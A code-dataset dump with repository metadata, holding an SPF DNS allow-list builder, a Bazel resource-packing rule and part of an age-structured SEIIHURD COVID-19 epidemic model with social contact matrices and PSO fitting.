2019-06-15T14:47:47.000Z

2022-02-26T05:02:56.000Z

hard-gists/4471462/snippet.py

jjhenkel/dockerizeme

eaa4fe5366f6b9adf74399eab01c712cacaeb279

[ "Apache-2.0" ]

17

2019-05-16T03:50:34.000Z

2021-01-14T14:35:12.000Z

#!/usr/bin/env python # # Author: Fred C. # Email: # from __future__ import print_function from collections import defaultdict import sys import DNS import re RE_PARSE = re.compile(r'(ip4|ip6|include|redirect)[:=](.*)', re.IGNORECASE) MAX_RECURSION = 5 def dns_txt(domain): try: resp = DNS.dnslookup(domain, 'TXT') except DNS.ServerError as err: print(err, file=sys.stderr) return None response = [] for r in resp: response.append(''.join(r)) return response def dns_parse(txt_field): resp = defaultdict(set) for rec in txt_field: fields = rec.split() for field in fields: match = RE_PARSE.match(field) if match: resp[match.group(1)].add(match.group(2)) return resp def process(domain): domains = [domain] ip_addresses = set() for cnt in range(MAX_RECURSION): includes = set() for dom in domains: txt = dns_txt(dom) if not txt: continue spf = dns_parse(txt) ip_addresses |= spf.get('ip4', set()) ip_addresses |= spf.get('ip6', set()) includes |= spf.get('include', set()) includes |= spf.get('redirect', set()) if not includes: break domains = includes return ip_addresses if __name__ == '__main__': whitelist = set() with open(sys.argv[1]) as fd: for line in fd: line = line.strip() for ip in process(line): whitelist.add(ip) for ip in sorted(whitelist): print(ip)

21.308824

75

0.63285

0

131

0.090407

a1f99eeded3cabb05a888e2acb13ce873a05d09f

895

bzl

Python

tools/build_rules/cc_resources.bzl

justbuchanan/kythe

91da8b42354cd3b6818be5a9bf4389fd144ff6e5

[ "Apache-2.0" ]

null

tools/build_rules/cc_resources.bzl

justbuchanan/kythe

91da8b42354cd3b6818be5a9bf4389fd144ff6e5

[ "Apache-2.0" ]

null

tools/build_rules/cc_resources.bzl

justbuchanan/kythe

91da8b42354cd3b6818be5a9bf4389fd144ff6e5

[ "Apache-2.0" ]

null

def cc_resources(name, data): out_inc = name + ".inc" cmd = ('echo "static const struct FileToc kPackedFiles[] = {" > $(@); \n' + "for j in $(SRCS); do\n" + ' echo "{\\"$$(basename "$${j}")\\"," >> $(@);\n' + ' echo "R\\"filecontent($$(< $${j}))filecontent\\"" >> $(@);\n' + ' echo "}," >> $(@);\n' + "done &&\n" + 'echo "{nullptr, nullptr}};" >> $(@)') if len(data) == 0: fail("Empty `data` attribute in `%s`" % name) native.genrule( name = name, outs = [out_inc], srcs = data, cmd = cmd, ) # Returns the generated files directory root. # # Note: workaround for https://github.com/bazelbuild/bazel/issues/4463. def gendir(): if native.repository_name() == "@": return "$(GENDIR)" return "$(GENDIR)/external/" + native.repository_name().lstrip("@")

34.423077

79

0.484916

0

469

0.524022

a1fa4d83464708be7267466fae9107d6a82954d1

32,249

py

Python

modelling/model_seiihurd_matrices.py

lhunlindeion/Mathematical-and-Statistical-Modeling-of-COVID19-in-Brazil

164f19fcf04fe391aa7515fe436c63c6534fa89c

[ "MIT" ]

37

2020-03-28T16:36:56.000Z

2021-11-16T11:34:55.000Z

modelling/model_seiihurd_matrices.py

lhunlindeion/Mathematical-and-Statistical-Modeling-of-COVID19-in-Brazil

164f19fcf04fe391aa7515fe436c63c6534fa89c

[ "MIT" ]

1

2020-05-29T16:39:03.000Z

2020-06-01T19:29:55.000Z

modelling/model_seiihurd_matrices.py

lhunlindeion/Mathematical-and-Statistical-Modeling-of-COVID19-in-Brazil

164f19fcf04fe391aa7515fe436c63c6534fa89c

[ "MIT" ]

9

2020-03-28T00:00:16.000Z

2021-02-19T14:41:47.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue May 19 18:08:01 2020 @author: Felipe A. C. Pereira Implementação do ajuste do modelo SEIIHURD com separação de grupos. Necessita de mais verificações e funções para simplificar o input. Baseado nas classes disponíveis no modelos.py """ import numpy as np from functools import reduce import scipy.integrate as spi from scipy.optimize import least_squares from platypus import NSGAII, Problem, Real from pyswarms.single.global_best import GlobalBestPSO import pyswarms as ps from pyswarms.backend.topology import Star from pyswarms.utils.plotters import plot_cost_history from itertools import repeat import multiprocessing as mp import copy import joblib ''' Social contact matrices from PREM, Kiesha; COOK, Alex R.; JIT, Mark. Projecting social contact matrices in 152 countries using contact surveys and demographic data. PLoS computational biology, v. 13, n. 9, p. e1005697, 2017. ''' ages_Mu_min = 5 * np.arange(16) Mu_house = np.array([[0.47868515, 0.50507561, 0.29848922, 0.15763748, 0.26276959, 0.40185462, 0.46855027, 0.42581354, 0.2150961 , 0.0856771 , 0.08705463, 0.07551931, 0.05129175, 0.02344832, 0.00793644, 0.01072846], [0.35580205, 0.77874482, 0.51392686, 0.21151069, 0.08597966, 0.28306027, 0.49982218, 0.52854893, 0.41220947, 0.15848728, 0.07491245, 0.07658339, 0.04772343, 0.02588962, 0.01125956, 0.01073152], [0.25903114, 0.63488713, 1.36175618, 0.50016515, 0.11748191, 0.10264613, 0.24113458, 0.47274372, 0.54026417, 0.26708819, 0.11007723, 0.04406045, 0.02746409, 0.02825033, 0.02044872, 0.01214665], [0.14223192, 0.24383932, 0.53761638, 1.05325205, 0.28778496, 0.10925453, 0.0651564 , 0.2432454 , 0.39011334, 0.41381277, 0.23194909, 0.07541471, 0.03428398, 0.02122257, 0.01033573, 0.00864859], [0.27381886, 0.15430529, 0.16053062, 0.5104134 , 0.95175366, 0.3586594 , 0.09248672, 0.04774269, 0.15814197, 0.36581739, 0.25544811, 0.13338965, 0.03461345, 0.01062458, 0.00844199, 0.00868782], [0.59409802, 0.26971847, 0.10669146, 0.18330524, 0.39561893, 0.81955947, 0.26376865, 0.06604084, 0.03824556, 0.11560004, 0.23218163, 0.15331788, 0.07336147, 0.02312255, 0.00412646, 0.01025778], [0.63860889, 0.75760606, 0.43109156, 0.09913293, 0.13935789, 0.32056062, 0.65710277, 0.25488454, 0.1062129 , 0.0430932 , 0.06880784, 0.09938458, 0.09010691, 0.02233902, 0.01155556, 0.00695246], [0.56209348, 0.87334544, 0.75598244, 0.33199136, 0.07233271, 0.08674171, 0.20243583, 0.60062714, 0.17793601, 0.06307045, 0.04445926, 0.04082447, 0.06275133, 0.04051762, 0.01712777, 0.00598721], [0.35751289, 0.66234582, 0.77180208, 0.54993616, 0.17368099, 0.07361914, 0.13016852, 0.19937327, 0.46551558, 0.15412263, 0.06123041, 0.0182514 , 0.04234381, 0.04312892, 0.01656267, 0.01175358], [0.208131 , 0.41591452, 0.56510014, 0.67760241, 0.38146504, 0.14185001, 0.06160354, 0.12945701, 0.16470166, 0.41150841, 0.14596804, 0.04404807, 0.02395316, 0.01731295, 0.01469059, 0.02275339], [0.30472548, 0.26744442, 0.41631962, 0.46516888, 0.41751365, 0.28520772, 0.13931619, 0.07682945, 0.11404965, 0.16122096, 0.33813266, 0.1349378 , 0.03755396, 0.01429426, 0.01356763, 0.02551792], [0.52762004, 0.52787011, 0.33622117, 0.43037934, 0.36416323, 0.42655672, 0.33780201, 0.13492044, 0.0798784 , 0.15795568, 0.20367727, 0.33176385, 0.12256126, 0.05573807, 0.0124446 , 0.02190564], [0.53741472, 0.50750067, 0.3229994 , 0.30706704, 0.21340314, 0.27424513, 0.32838657, 0.26023515, 0.13222548, 0.07284901, 0.11950584, 0.16376401, 0.25560123, 0.09269703, 0.02451284, 0.00631762], [0.37949376, 0.55324102, 0.47449156, 0.24796638, 0.19276924, 0.20675484, 0.3267867 , 0.39525729, 0.3070043 , 0.10088992, 0.10256839, 0.13016641, 0.1231421 , 0.24067708, 0.05475668, 0.01401368], [0.16359554, 0.48536065, 0.40533723, 0.31542539, 0.06890518, 0.15670328, 0.12884062, 0.27912381, 0.25685832, 0.20143856, 0.12497647, 0.07565566, 0.10331686, 0.08830789, 0.15657321, 0.05744065], [0.29555039, 0.39898035, 0.60257982, 0.5009724 , 0.13799378, 0.11716593, 0.14366306, 0.31602298, 0.34691652, 0.30960511, 0.31253708, 0.14557295, 0.06065554, 0.10654772, 0.06390924, 0.09827735]]) Mu_school = np.array([[3.21885854e-001, 4.31659966e-002, 7.88269419e-003, 8.09548363e-003, 5.35038146e-003, 2.18201974e-002, 4.01633514e-002, 2.99376002e-002, 1.40680283e-002, 1.66587853e-002, 9.47774696e-003, 7.41041622e-003, 1.28200661e-003, 7.79120405e-004, 8.23608272e-066, 6.37926405e-120], [5.40133328e-002, 4.84870697e+000, 2.70046494e-001, 3.14778450e-002, 3.11206331e-002, 8.56826951e-002, 1.08251879e-001, 9.46101139e-002, 8.63528188e-002, 5.51141159e-002, 4.19385198e-002, 1.20958942e-002, 4.77242219e-003, 1.39787217e-003, 3.47452943e-004, 8.08973738e-039], [4.56461982e-004, 1.04840235e+000, 6.09152459e+000, 1.98915822e-001, 1.99709921e-002, 6.68319525e-002, 6.58949586e-002, 9.70851505e-002, 9.54147078e-002, 6.70538232e-002, 4.24864096e-002, 1.98701346e-002, 5.11869429e-003, 7.27320438e-004, 4.93746124e-025, 1.82153965e-004], [2.59613205e-003, 4.73315233e-002, 1.99337834e+000, 7.20040500e+000, 8.57326037e-002, 7.90668822e-002, 8.54208542e-002, 1.10816964e-001, 8.76955236e-002, 9.22975521e-002, 4.58035025e-002, 2.51130956e-002, 5.71391798e-003, 1.07818752e-003, 6.21174558e-033, 1.70710246e-070], [7.19158720e-003, 2.48833195e-002, 9.89727235e-003, 8.76815025e-001, 4.33963352e-001, 5.05185217e-002, 3.30594492e-002, 3.81384107e-002, 2.34709676e-002, 2.67235372e-002, 1.32913985e-002, 9.00655556e-003, 6.94913059e-004, 1.25675951e-003, 1.77164197e-004, 1.21957619e-047], [7.04119204e-003, 1.19412206e-001, 3.75016980e-002, 2.02193056e-001, 2.79822908e-001, 1.68610223e-001, 2.86939363e-002, 3.56961469e-002, 4.09234494e-002, 3.32290896e-002, 8.12074348e-003, 1.26152144e-002, 4.27869081e-003, 2.41737477e-003, 4.63116893e-004, 1.28597237e-003], [1.41486320e-002, 3.86561429e-001, 2.55902236e-001, 1.69973534e-001, 4.98104010e-002, 8.98122446e-002, 7.95333394e-002, 5.19274611e-002, 5.46612930e-002, 2.64567137e-002, 2.03241595e-002, 2.96263220e-003, 5.42888613e-003, 4.47585970e-004, 1.65440335e-048, 3.11189454e-055], [2.40945305e-002, 2.11030046e-001, 1.54767246e-001, 8.17929897e-002, 1.84061608e-002, 5.43009779e-002, 7.39351186e-002, 5.21677009e-002, 5.63267084e-002, 2.51807147e-002, 3.53972554e-003, 7.96646343e-003, 5.56929776e-004, 2.08530461e-003, 1.84428290e-123, 9.69555083e-067], [7.81313905e-003, 1.14371898e-001, 9.09011945e-002, 3.80212104e-001, 8.54533192e-003, 2.62430162e-002, 2.51880009e-002, 3.22563508e-002, 6.73506045e-002, 2.24997143e-002, 2.39241043e-002, 6.50627191e-003, 5.50892674e-003, 4.78308850e-004, 4.81213215e-068, 2.40231425e-092], [6.55265016e-002, 2.31163536e-001, 1.49970765e-001, 5.53563093e-001, 5.74032526e-003, 3.02865481e-002, 5.72506883e-002, 4.70559232e-002, 4.28736553e-002, 2.42614518e-002, 2.86665377e-002, 1.29570473e-002, 3.24362518e-003, 1.67930318e-003, 6.20916950e-134, 3.27297624e-072], [1.72765646e-002, 3.43744913e-001, 4.30902785e-001, 4.74293073e-001, 5.39328187e-003, 1.44128740e-002, 3.95545363e-002, 3.73781860e-002, 4.56834488e-002, 5.92135906e-002, 2.91473801e-002, 1.54857502e-002, 4.53105390e-003, 8.87272668e-024, 1.23797452e-117, 5.64262349e-078], [6.14363036e-002, 2.98367348e-001, 2.59092700e-001, 3.00800812e-001, 5.92454596e-003, 5.26458862e-002, 2.02188672e-002, 3.27897605e-002, 4.07753741e-002, 2.83422407e-002, 2.43657809e-002, 2.73993226e-002, 8.87990718e-003, 1.13279180e-031, 7.81960493e-004, 7.62467510e-004], [3.63695643e-002, 5.96870355e-002, 3.05072624e-002, 1.45523978e-001, 1.26062984e-002, 1.69458169e-003, 1.55127292e-002, 4.22097670e-002, 9.21792425e-003, 1.42200652e-002, 1.10967529e-002, 5.77020348e-003, 2.04474044e-002, 1.11075734e-002, 4.42271199e-067, 2.12068625e-037], [1.67937029e-003, 2.72971001e-002, 1.05886266e-002, 7.61087735e-032, 1.97191559e-003, 1.92885006e-003, 1.24343737e-002, 5.39297787e-003, 5.41684968e-003, 8.63502071e-003, 1.94554498e-003, 1.49082274e-002, 8.11781100e-003, 1.74395489e-002, 1.11239023e-002, 3.45693088e-126], [1.28088348e-028, 5.11065200e-026, 1.93019797e-040, 7.60476035e-003, 2.63586947e-022, 1.69749024e-024, 1.25875005e-026, 7.62109877e-003, 7.84979948e-003, 2.11516023e-002, 3.52117832e-002, 2.14360383e-002, 7.73902109e-003, 8.01328325e-003, 7.91285055e-003, 2.13825814e-002], [2.81655586e-094, 2.11305187e-002, 8.46562506e-042, 2.12592841e-002, 4.89802057e-036, 7.59232387e-003, 9.77247001e-069, 2.23108239e-060, 1.43715978e-048, 8.56015694e-060, 4.69469043e-042, 1.59822047e-046, 2.20978550e-083, 8.85861277e-107, 1.02042815e-080, 6.61413913e-113]]) Mu_work = np.array([[0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 0.00000000e+000, 8.20604524e-092, 1.20585150e-005, 3.16436834e-125], [0.00000000e+000, 1.16840561e-003, 9.90713236e-072, 4.42646396e-059, 2.91874286e-006, 9.98773031e-003, 2.58779981e-002, 5.66104376e-003, 2.12699812e-002, 5.72117462e-003, 1.48212306e-003, 1.23926126e-003, 1.28212945e-056, 1.34955578e-005, 7.64591325e-079, 2.38392073e-065], [0.00000000e+000, 2.56552144e-003, 1.12756182e-001, 2.40351143e-002, 2.62981485e-002, 7.56512432e-003, 6.19587609e-002, 1.73269871e-002, 5.87405128e-002, 3.26749742e-002, 1.24709193e-002, 2.93054408e-008, 3.71596993e-017, 2.79780317e-053, 4.95800770e-006, 3.77718083e-102], [0.00000000e+000, 1.07213881e-002, 4.28390448e-002, 7.22769090e-001, 5.93479736e-001, 3.39341952e-001, 3.17013715e-001, 2.89168861e-001, 3.11143180e-001, 2.34889238e-001, 1.32953769e-001, 6.01944097e-002, 1.47306181e-002, 8.34699602e-006, 2.85972822e-006, 1.88926122e-031], [0.00000000e+000, 9.14252587e-003, 5.74508682e-002, 4.00000235e-001, 7.93386618e-001, 7.55975146e-001, 6.32277283e-001, 6.83601459e-001, 4.98506972e-001, 3.82309992e-001, 2.81363576e-001, 1.23338103e-001, 4.15708021e-002, 9.86113407e-006, 1.32609387e-005, 3.74318048e-006], [0.00000000e+000, 1.04243481e-002, 7.34587492e-002, 3.49556755e-001, 7.50680101e-001, 1.25683393e+000, 9.01245714e-001, 8.63446835e-001, 7.70443641e-001, 5.17237071e-001, 4.09810981e-001, 1.80645400e-001, 5.51284783e-002, 1.60674627e-005, 1.01182608e-005, 3.01442534e-006], [0.00000000e+000, 1.65842404e-002, 8.34076781e-002, 1.89301935e-001, 5.21246906e-001, 8.54460001e-001, 1.12054931e+000, 9.64310078e-001, 8.34675180e-001, 6.52534012e-001, 3.79383514e-001, 2.11198205e-001, 5.17285688e-002, 1.63795563e-005, 4.10100851e-006, 3.49478980e-006], [0.00000000e+000, 1.11666639e-002, 5.03319748e-002, 3.70510313e-001, 4.24294782e-001, 7.87535547e-001, 8.45085693e-001, 1.14590365e+000, 1.07673077e+000, 7.13492115e-001, 5.00740004e-001, 1.90102207e-001, 3.59740115e-002, 1.22988530e-005, 9.13512833e-006, 6.02097416e-006], [0.00000000e+000, 6.07792440e-003, 5.49337607e-002, 2.23499535e-001, 4.82353827e-001, 7.52291991e-001, 8.89187601e-001, 9.33765370e-001, 1.10492283e+000, 8.50124391e-001, 5.88941528e-001, 1.94947085e-001, 5.09477228e-002, 1.43626161e-005, 1.02721567e-005, 1.29503893e-005], [0.00000000e+000, 3.31622551e-003, 7.01829848e-002, 2.67512972e-001, 3.14796392e-001, 5.41516885e-001, 6.95769048e-001, 7.50620518e-001, 7.50038547e-001, 7.00954088e-001, 4.35197983e-001, 2.11283335e-001, 3.88576200e-002, 1.62810370e-005, 1.08243610e-005, 6.09172339e-006], [0.00000000e+000, 4.39576425e-004, 7.17737968e-002, 1.89254612e-001, 2.47832532e-001, 5.16027731e-001, 6.02783971e-001, 6.15949277e-001, 8.05581107e-001, 7.44063535e-001, 5.44855374e-001, 2.52198706e-001, 4.39235685e-002, 1.18079721e-005, 1.18226645e-005, 1.01613165e-005], [0.00000000e+000, 4.91737561e-003, 1.08686672e-001, 1.24987806e-001, 1.64110983e-001, 3.00118829e-001, 4.18159745e-001, 3.86897613e-001, 4.77718241e-001, 3.60854250e-001, 3.22466456e-001, 1.92516925e-001, 4.07209694e-002, 1.34978304e-005, 6.58739925e-006, 6.65716756e-006], [0.00000000e+000, 6.35447018e-004, 3.96329620e-002, 1.83072502e-002, 7.04596701e-002, 1.24861117e-001, 1.37834574e-001, 1.59845720e-001, 1.66933479e-001, 1.56084857e-001, 1.14949158e-001, 8.46570798e-002, 1.50879843e-002, 2.03019580e-005, 8.26102156e-006, 1.48398182e-005], [7.60299521e-006, 3.36326754e-006, 7.64855296e-006, 2.27621532e-005, 3.14933351e-005, 7.89308410e-005, 7.24212842e-005, 2.91748203e-005, 6.61873732e-005, 5.95693238e-005, 7.70713500e-005, 5.30687748e-005, 4.66030117e-005, 1.41633235e-005, 2.49066205e-005, 1.19109038e-005], [5.78863840e-055, 7.88785149e-042, 2.54830412e-006, 2.60648191e-005, 1.68036205e-005, 2.12446739e-005, 3.57267603e-005, 4.02377033e-005, 3.56401935e-005, 3.09769252e-005, 2.13053382e-005, 4.49709414e-005, 2.61368373e-005, 1.68266203e-005, 1.66514322e-005, 2.60822813e-005], [2.35721271e-141, 9.06871674e-097, 1.18637122e-089, 9.39934076e-022, 4.66000452e-005, 4.69664011e-005, 4.69316082e-005, 8.42184044e-005, 2.77788168e-005, 1.03294378e-005, 1.06803618e-005, 7.26341826e-075, 1.10073971e-065, 1.02831671e-005, 5.16902994e-049, 8.28040509e-043]]) Mu_other = np.array([[0.95537734, 0.46860132, 0.27110607, 0.19447667, 0.32135073, 0.48782072, 0.54963024, 0.42195593, 0.27152038, 0.17864251, 0.20155642, 0.16358271, 0.1040159 , 0.0874149 , 0.05129938, 0.02153823], [0.51023519, 2.17757364, 0.9022516 , 0.24304235, 0.20119518, 0.39689588, 0.47242431, 0.46949918, 0.37741651, 0.16843746, 0.12590504, 0.12682331, 0.11282247, 0.08222718, 0.03648526, 0.02404257], [0.18585796, 1.11958124, 4.47729443, 0.67959759, 0.43936317, 0.36934142, 0.41566744, 0.44467286, 0.48797422, 0.28795385, 0.17659191, 0.10674831, 0.07175567, 0.07249261, 0.04815305, 0.03697862], [0.09854482, 0.3514869 , 1.84902386, 5.38491613, 1.27425161, 0.59242579, 0.36578735, 0.39181798, 0.38131832, 0.31501028, 0.13275648, 0.06408612, 0.04499218, 0.04000664, 0.02232326, 0.01322698], [0.13674436, 0.1973461 , 0.33264088, 2.08016394, 3.28810184, 1.29198125, 0.74642201, 0.44357051, 0.32781391, 0.35511243, 0.20132011, 0.12961 , 0.04994553, 0.03748657, 0.03841073, 0.02700581], [0.23495203, 0.13839031, 0.14085679, 0.5347385 , 1.46021275, 1.85222022, 1.02681162, 0.61513602, 0.39086271, 0.32871844, 0.25938947, 0.13520412, 0.05101963, 0.03714278, 0.02177751, 0.00979745], [0.23139098, 0.18634831, 0.32002214, 0.2477269 , 0.64111274, 0.93691022, 1.14560725, 0.73176025, 0.43760432, 0.31057135, 0.29406937, 0.20632155, 0.09044896, 0.06448983, 0.03041877, 0.02522842], [0.18786196, 0.25090485, 0.21366969, 0.15358412, 0.35761286, 0.62390736, 0.76125666, 0.82975354, 0.54980593, 0.32778339, 0.20858991, 0.1607099 , 0.13218526, 0.09042909, 0.04990491, 0.01762718], [0.12220241, 0.17968132, 0.31826246, 0.19846971, 0.34823183, 0.41563737, 0.55930999, 0.54070187, 0.5573184 , 0.31526474, 0.20194048, 0.09234293, 0.08377534, 0.05819374, 0.0414762 , 0.01563101], [0.03429527, 0.06388018, 0.09407867, 0.17418896, 0.23404519, 0.28879108, 0.34528852, 0.34507961, 0.31461973, 0.29954426, 0.21759668, 0.09684718, 0.06596679, 0.04274337, 0.0356891 , 0.02459849], [0.05092152, 0.10829561, 0.13898902, 0.2005828 , 0.35807132, 0.45181815, 0.32281821, 0.28014803, 0.30125545, 0.31260137, 0.22923948, 0.17657382, 0.10276889, 0.05555467, 0.03430327, 0.02064256], [0.06739051, 0.06795035, 0.0826437 , 0.09522087, 0.23309189, 0.39055444, 0.39458465, 0.29290532, 0.27204846, 0.17810118, 0.24399007, 0.22146653, 0.13732849, 0.07585801, 0.03938794, 0.0190908 ], [0.04337917, 0.05375367, 0.05230119, 0.08066901, 0.16619572, 0.25423056, 0.25580913, 0.27430323, 0.22478799, 0.16909017, 0.14284879, 0.17211604, 0.14336033, 0.10344522, 0.06797049, 0.02546014], [0.04080687, 0.06113728, 0.04392062, 0.04488748, 0.12808591, 0.19886058, 0.24542711, 0.19678011, 0.17800136, 0.13147441, 0.13564091, 0.14280335, 0.12969805, 0.11181631, 0.05550193, 0.02956066], [0.01432324, 0.03441212, 0.05604694, 0.10154456, 0.09204 , 0.13341443, 0.13396901, 0.16682638, 0.18562675, 0.1299677 , 0.09922375, 0.09634331, 0.15184583, 0.13541738, 0.1169359 , 0.03805293], [0.01972631, 0.02274412, 0.03797545, 0.02036785, 0.04357298, 0.05783639, 0.10706321, 0.07688271, 0.06969759, 0.08029393, 0.05466604, 0.05129046, 0.04648653, 0.06132882, 0.05004289, 0.03030569]]) def generate_reduced_matrices(age_sep, Ni): ''' Receives the age_separation and populations to generate the average contact matrices, returns a (4, len(age_sep)+1, len(age_sep)+1) with the 4 partial contact matrices: house, school, work and other Ni is the population for each population component (16 5-years age groups) ''' nMat = len(age_sep) + 1 Ms = np.empty((4, nMat, nMat)) age_indexes = list() age_indexes.append(np.flatnonzero(ages_Mu_min <= age_sep[0])) for i in range(1, len(age_sep)): age_indexes.append(np.flatnonzero((ages_Mu_min > age_sep[i-1]) * (ages_Mu_min <= age_sep[i]))) age_indexes.append(np.flatnonzero(ages_Mu_min > age_sep[-1])) for i in range(nMat): Nia = Ni[age_indexes[i]] Na = Nia.sum() for j in range(nMat): Ms[0,i,j] = (Nia * ((Mu_house[age_indexes[i]][:,age_indexes[j]]).sum(axis=1))).sum()/Na Ms[1,i,j] = (Nia * ((Mu_school[age_indexes[i]][:,age_indexes[j]]).sum(axis=1))).sum()/Na Ms[2,i,j] = (Nia * ((Mu_work[age_indexes[i]][:,age_indexes[j]]).sum(axis=1))).sum()/Na Ms[3,i,j] = (Nia * ((Mu_other[age_indexes[i]][:,age_indexes[j]]).sum(axis=1))).sum()/Na return Ms class SEIIHURD_age: ''' SEIIHURD Model''' def __init__(self,tamanhoPop,numeroProcessadores=None): self.N = tamanhoPop self.numeroProcessadores = numeroProcessadores self.pos = None #pars dict betas, delta, kappa, p, gammaA, gammaS, h, epsilon, gammaH, gammaU, muU, muH, wU, wH # seguindo a notação beta_12 é 2 infectando 1, onde 1 é a linha e 2 a coluna. def _SEIIHURD_age_eq(self, X, t, pars): S, E, Ia, Is, H, U, R, D, Nw = np.split(X, 9) StE = S * (pars['beta'] @ ((Ia * pars['delta'] + Is).reshape((-1,1)))).flatten() dS = - StE dE = StE - pars['kappa'] * E dIa = (1. - pars['p']) * pars['kappa'] * E - pars['gammaA'] * Ia dIs = pars['p'] * pars['kappa'] * E - pars['gammaS'] * Is dH = pars['h'] * pars['xi'] * pars['gammaS'] * Is + (1 - pars['muU'] +\ pars['wU'] * pars['muU']) * pars['gammaU'] * U - pars['gammaH'] * H dU = pars['h'] * (1 - pars['xi']) * pars['gammaS'] * Is + pars['wH'] *\ pars['gammaH'] * H - pars['gammaU'] * U dR = pars['gammaA'] * Ia + (1. - pars['h']) * pars['gammaS'] * Is + \ (1 - pars['muH']) * (1 - pars['wH']) * pars['gammaH'] * H dD = (1 - pars['wH']) * pars['muH'] * pars['gammaH'] * H + \ (1 - pars['wU']) * pars['muU'] * pars['gammaU'] * U dNw = pars['p'] * pars['kappa'] * E return np.r_[dS, dE, dIa, dIs, dH, dU, dR, dD, dNw] def _call_ODE(self, ts, ppars): betas = ppars['beta'].copy() pars = copy.deepcopy(ppars) if 'tcut' not in ppars.keys(): tcorte = None else: tcorte = pars['tcut'] if type(ts) in [int, float]: ts = np.arange(ts) if tcorte == None: tcorte = [ts[-1]] if type(betas) != list: betas = [betas] if tcorte[-1] < ts[-1]: tcorte.append(ts[-1]) tcorte = [ts[0]] + tcorte tcorte.sort() Is0 = pars['x0'].reshape((3,-1)).sum(axis=0) x0 = np.r_[1. - Is0, pars['x0'], np.zeros(4*len(Is0)), pars['x0'][2*len(Is0):]] saida = x0.reshape((1,-1)) Y = saida.copy() for i in range(1, len(tcorte)): cut_last = False pars['beta'] = betas[i-1] t = ts[(ts >= tcorte[i-1]) * (ts<= tcorte[i])] if len(t) > 0: if t[0] > tcorte[i-1]: t = np.r_[tcorte[i-1], t] if t[-1] < tcorte[i]: t = np.r_[t, tcorte[i]] cut_last = True Y = spi.odeint(self._SEIIHURD_age_eq, Y[-1], t, args=(pars,)) if cut_last: saida = np.r_[saida, Y[1:-1]] else: saida = np.r_[saida, Y[1:]] else: Y = spi.odeint(self._SEIIHURD_age_eq, Y[-1], tcorte[i-1:i+1], args=(pars,)) return ts, saida def _fill_paramPSO(self, paramPSO): if 'options' not in paramPSO.keys(): paramPSO['options'] = {'c1': 0.1, 'c2': 0.3, 'w': 0.9,'k':5,'p':2} if 'n_particles' not in paramPSO.keys(): paramPSO['n_particles'] = 300 if 'iter' not in paramPSO.keys(): paramPSO['iter'] = 1000 return paramPSO def _prepare_input(self, data): list_states = ['S', 'E', 'Ia', 'Is', 'H', 'U', 'R', 'D', 'Nw'] i_integ = list() Y = list() for ke in data.keys(): if ke == 't': t = data[ke] else: Y.append(data[ke]) simb, num = ke.split("_") n0 = self.nages * list_states.index(simb) if '_ALL' in ke: i_integ.append(list(range(n0,n0 + self.nages))) else: i_integ.append(int(num) + n0) return i_integ, Y, t def _prepare_conversor(self, p2f, pothers, bound): padjus = list() if bound != None: bound_new = [[], []] for i, par in enumerate(p2f): if 'beta' in par: if '_ALL' in par: for l in range(len(pothers['beta'])): for j in range(pothers['beta'][i].shape[0]): for k in range(pothers['beta'][i].shape[1]): padjus.append('beta_{}_{}_{}'.format(l,j,k)) if bound != None: bound_new[0].append(bound[0][i]) bound_new[1].append(bound[1][i]) else: padjus.append(par) if bound != None: bound_new[0].append(bound[0][i]) bound_new[1].append(bound[1][i]) elif '_ALL' in par: name = par.split('_')[0] for j in range(len(pothers[name])): padjus.append('{}_{}'.format(name, j)) if bound != None: bound_new[0].append(bound[0][i]) bound_new[1].append(bound[1][i]) else: padjus.append(par) if bound != None: bound_new[0].append(bound[0][i]) bound_new[1].append(bound[1][i]) if bound != None: bound_new[0] = np.array(bound_new[0]) bound_new[1] = np.array(bound_new[1]) return bound_new, padjus def _conversor(self, coefs, pars0, padjus): pars = copy.deepcopy(pars0) for i, coef in enumerate(coefs): if 'beta' in padjus[i]: if '_M_' in padjus[i]: indx = int(padjus[i].split('_')[-1]) pars['beta'][indx] = coef * pars['beta'][indx] else: indx = padjus[i].split('_') pars['beta'][int(indx[1])][int(indx[2]), int(indx[3])] = coef elif '_' in padjus[i]: name, indx = padjus[i].split('_') pars[name][int(indx)] = coef else: pars[padjus[i]] = coef return pars def objectiveFunction(self, coefs_list, stand_error=False, weights=None): errsq = np.zeros(coefs_list.shape[0]) for i, coefs in enumerate(coefs_list): errs = self._residuals(coefs, stand_error, weights) errsq[i] = (errs*errs).mean() return errsq def _residuals(self, coefs, stand_error=False, weights=None): if type(weights) == type(None): weights = np.ones(len(self.Y)) error_func = (lambda x: np.sqrt(x+1)) if stand_error else (lambda x:np.ones_like(x)) errs = np.empty((0,)) ts, mY = self._call_ODE(self.t, self._conversor(coefs, self.pars_init, self.padjus)) for indY, indODE in enumerate(self.i_integ): if type(indODE) == list: temp = (self.N.reshape((1,-1)) * mY[:,indODE]).sum(axis=1) errs = np.r_[errs, weights[indY] * ((self.Y[indY] - temp) / error_func(temp)) ] else: try: errs = np.r_[errs, weights[indY] * ((self.Y[indY] - self.N[indODE%self.nages] * mY[:,indODE]) / error_func(mY[:,indODE])) ] except: print(self.t, self._conversor(coefs, self.pars_init, self.padjus)) raise errs = errs[~np.isnan(errs)] return errs def prepare_to_fit(self, data, pars, pars_to_fit, bound=None, nages=1, stand_error=False): self.pars_init = copy.deepcopy(pars) self.nages = nages self.i_integ, self.Y, self.t = self._prepare_input(data) self.bound, self.padjus = self._prepare_conversor(pars_to_fit, pars, bound) self.n_to_fit = len(self.padjus) def fit(self, data, pars, pars_to_fit, bound=None, nages=2, paramPSO=dict(), stand_error=False): ''' data: dictionary: t -> times X_N -> variable: X is the simbol of the parameter: S, E, Ia, Is, H, U, R, D, Nw N is the index of the age-group, starting on 0 pars: dictionary, with the variable names as keys. pars_to_fit: the name of the parameters to fits, if the parameter is a list, add _N with the index you want to if or _ALL to fit all the 'beta' parameter has 3 indexes: beta_I_J_K, with I indicating the which tcut it belongs and J_K indicating the position in the matrix. the beta also has a option 'beta_M_I' that fits a multiplicative constant of the infection matrix, without changing the relative weights (the _M_ and _ALL_ options are incompatible by now, and _M_ requires testing) bound = intervalo de limite para procura de cada parametro, onde None = sem limite bound => (lista_min_bound, lista_max_bound) ''' paramPSO = self._fill_paramPSO(paramPSO) self.prepare_to_fit(data, pars, pars_to_fit, 